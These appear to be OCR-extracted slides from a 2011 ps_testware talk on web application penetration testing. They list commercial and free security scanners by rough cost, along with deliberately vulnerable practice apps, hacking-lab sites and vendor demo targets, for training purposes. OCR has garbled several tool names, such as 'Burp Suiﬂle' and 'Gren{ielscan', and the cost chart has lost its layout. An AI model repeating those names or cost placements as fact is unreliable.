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‘ ps_testware’s ExpertReview

Document reviews

Interviews Design

Risks
&
Actions

Testing Vulnerabilities

TEST"h& Inspection Ps_test\)/are
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) ‘ Security Testing - Tools

20,000

10,000

3,000

200

Cost
(€)

IBM
Rational NTOSpider
Appscan Cenzic Hailstorm

HP Webinspect

Acunetix WVS
Netsparker Pro

Burp Suiﬂle Pro

OWASP Zed Attack Proxy

Netsparker CE, Websecurify

W3AF, Gren{ielscan

Various specific tools

OWASP Webscarab

Burp suite free

Tool collections: OWASP LiveCD, Samurai V\ﬁ_eb Testing Framework

Automated '

Copyright © 2011 ps_testware

Manual

P
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| ‘ Need more ?

Offline Hacking applications

- Foundstone HacMe series (production like applications)
— Mutillidea

v Online Web Hacking Labs

- http://www.hackthissite.org/
- http://www.hackerslab.org/
— http://www.hackertest.net/ etc...

v Demo Sites
— Acunetix

TESTj i

HP

IBM

Cenzic

NT Objectives

jBuild your own lab with virtual machines

http://testphp.vulnweb.com/
http://zero.webappsecurity.com/
http://demo.testfire.net/
http://crackme.cenzic.com/
http://www.webscantest.com/

Copyright © 2011 ps_testware
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http://www.hackthissite.org/
http://www.hackerslab.org/
http://www.hackertest.net/
http://www.webscantest.com/

, ‘ Literature
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Pen Testing
for Web Applications
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